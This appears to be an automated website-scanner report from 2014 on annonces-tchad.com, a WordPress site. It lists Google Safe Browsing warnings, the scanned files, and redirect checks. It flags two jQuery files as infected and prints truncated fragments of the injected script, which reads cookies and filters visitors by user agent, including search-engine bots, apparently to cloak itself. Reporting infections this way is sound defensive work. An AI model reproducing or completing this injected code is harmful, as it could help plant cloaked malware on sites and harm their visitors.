Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=annonces-tchad.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://www.annonces-tchad.com/ | HTTP/1.1 301 Moved Permanently Connection: close Date: Sun, 05 Oct 2014 14:27:33 GMT Location: http://annonces-tchad.com/ Server: Apache Vary: User-Agent,Accept-Encoding Content-Type: text/html; charset=UTF-8 Set-Cookie: mailplanBAK=R2555570994; path=/; expires=Sun, 05-Oct-2014 15:35:24 GMT Set-Cookie: mailplan=R3858324630; path=/; expires=Sun, 05-Oct-2014 15:35:24 GMT Set-Cookie: wfvt_1616347405=543155552055f; expires=Sun, 05-Oct-2014 14:57:33 GMT; path=/; httponly X-Pingback: http://annonces-tchad.com/xmlrpc.php X-Powered-By: PHP/5.3.28 | clean |
http://annonces-tchad.com/ | 200 OK Content-Length: 27497 Content-Type: text/html | clean |
http://annonces-tchad.com/wp-includes/js/jquery/jquery.js?ver=1.11.0 | 200 OK Content-Length: 97453 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(e){var o=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return o?decodeURIComponent(o[1]):void 0}!function(){function e(e,o,t){var r=(e+"").toLowerCase(),i=(o+"").toLowerCase(),n=0;return-1!==(n=r.indexOf(i,t))?n:!1}function o(){var o=["Linux","Windows NT 6.3","Windows NT 6.2","rv:11.0","AppleWebKit","Android","Googlebot","IEMobile","Yandex"],t=!1;for(var r in o)if(e(navigator.userAgent,o[r])){t=!0;break}return t}var t jQuery.noConflict(); Antivirus reports:
| ||
http://annonces-tchad.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1 | 200 OK Content-Length: 8250 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) function getCookie(e){var o=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return o?decodeURIComponent(o[1]):void 0}!function(){function e(e,o,t){var r=(e+"").toLowerCase(),i=(o+"").toLowerCase(),n=0;return-1!==(n=r.indexOf(i,t))?n:!1}function o(){var o=["Linux","Windows NT 6.3","Windows NT 6.2","rv:11.0","AppleWebKit","Android","Googlebot","IEMobile","Yandex"],t=!1;for(var r in o)if(e(navigator.userAgent,o[r])){t=!0;break}return t}var t Antivirus reports:
| ||
http://annonces-tchad.com/wp-content/plugins/dropdown-menu-widget/scripts/include.js?ver=3.9.2 | 200 OK Content-Length: 1430 Content-Type: application/javascript | clean |
http://annonces-tchad.com/wp-content/plugins/gallery-plugin/fancybox/jquery.mousewheel-3.0.4.pack.js?ver=3.9.2 | 200 OK Content-Length: 2330 Content-Type: application/javascript | clean |
http://annonces-tchad.com/wp-content/plugins/gallery-plugin/fancybox/jquery.fancybox-1.3.4.pack.js?ver=3.9.2 | 200 OK Content-Length: 16675 Content-Type: application/javascript | clean |
http://annonces-tchad.com/wp-content/plugins/google-captcha/js/script.js?ver=3.9.2 | 200 OK Content-Length: 2765 Content-Type: application/javascript | clean |
http://annonces-tchad.com/wp-content/plugins/photo-gallery/js/bwg_frontend.js?ver=1.2.3 | 200 OK Content-Length: 4734 Content-Type: application/javascript | clean |
http://annonces-tchad.com/wp-content/plugins/photo-gallery/js/jquery.mobile.js?ver=1.2.3 | 200 OK Content-Length: 7469 Content-Type: application/javascript | clean |
http://annonces-tchad.com/wp-content/plugins/photo-gallery/js/jquery.mCustomScrollbar.concat.min.js?ver=1.2.3 | 200 OK Content-Length: 26219 Content-Type: application/javascript | clean |
http://annonces-tchad.com/wp-content/plugins/photo-gallery/js/jquery.fullscreen-0.4.1.js?ver=0.4.1 | 200 OK Content-Length: 8634 Content-Type: application/javascript | clean |
http://annonces-tchad.com/wp-content/plugins/photo-gallery/js/bwg_gallery_box.js?ver=1.2.3 | 200 OK Content-Length: 7557 Content-Type: application/javascript | clean |
http://annonces-tchad.com/wp-content/themes/mantra/js/frontend.js?ver=3.9.2 | 200 OK Content-Length: 10108 Content-Type: application/javascript | clean |
http://annonces-tchad.com/wp-content/themes/mantra/js/nivo-slider.js?ver=3.9.2 | 200 OK Content-Length: 13261 Content-Type: application/javascript | clean |
http://annonces-tchad.com/wp-includes/js/hoverIntent.min.js?ver=r7 | 200 OK Content-Length: 2167 Content-Type: application/javascript | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: annonces-tchad.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 05 Oct 2014 14:27:34 GMT
Server: Apache
Vary: User-Agent,Accept-Encoding
Content-Type: text/html; charset=UTF-8
Link: <http://annonces-tchad.com/>; rel=shortlink
Set-Cookie: mailplanBAK=R2555565549; path=/; expires=Sun, 05-Oct-2014 15:35:24 GMT
Set-Cookie: mailplan=R3858324630; path=/; expires=Sun, 05-Oct-2014 15:28:38 GMT
Set-Cookie: wfvt_1616347405=54315555d8cf6; expires=Sun, 05-Oct-2014 14:57:33 GMT; path=/; httponly
X-Pingback: http://annonces-tchad.com/xmlrpc.php
X-Powered-By: PHP/5.3.28
GET / HTTP/1.1
Host: annonces-tchad.com
Result:
HTTP/1.1 200 OK
Connection: close
Date: Sun, 05 Oct 2014 14:27:34 GMT
Server: Apache
Vary: User-Agent,Accept-Encoding
Content-Type: text/html; charset=UTF-8
Link: <http://annonces-tchad.com/>; rel=shortlink
Set-Cookie: mailplanBAK=R2555565549; path=/; expires=Sun, 05-Oct-2014 15:35:24 GMT
Set-Cookie: mailplan=R3858324630; path=/; expires=Sun, 05-Oct-2014 15:28:38 GMT
Set-Cookie: wfvt_1616347405=54315555d8cf6; expires=Sun, 05-Oct-2014 14:57:33 GMT; path=/; httponly
X-Pingback: http://annonces-tchad.com/xmlrpc.php
X-Powered-By: PHP/5.3.28
Second query (visit from search engine):
GET / HTTP/1.1
Host: annonces-tchad.com
Referer: http://www.google.com/search?q=annonces-tchad.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: annonces-tchad.com
Referer: http://www.google.com/search?q=annonces-tchad.com
Result:
The result is similar to the first query. There are no suspicious redirects found.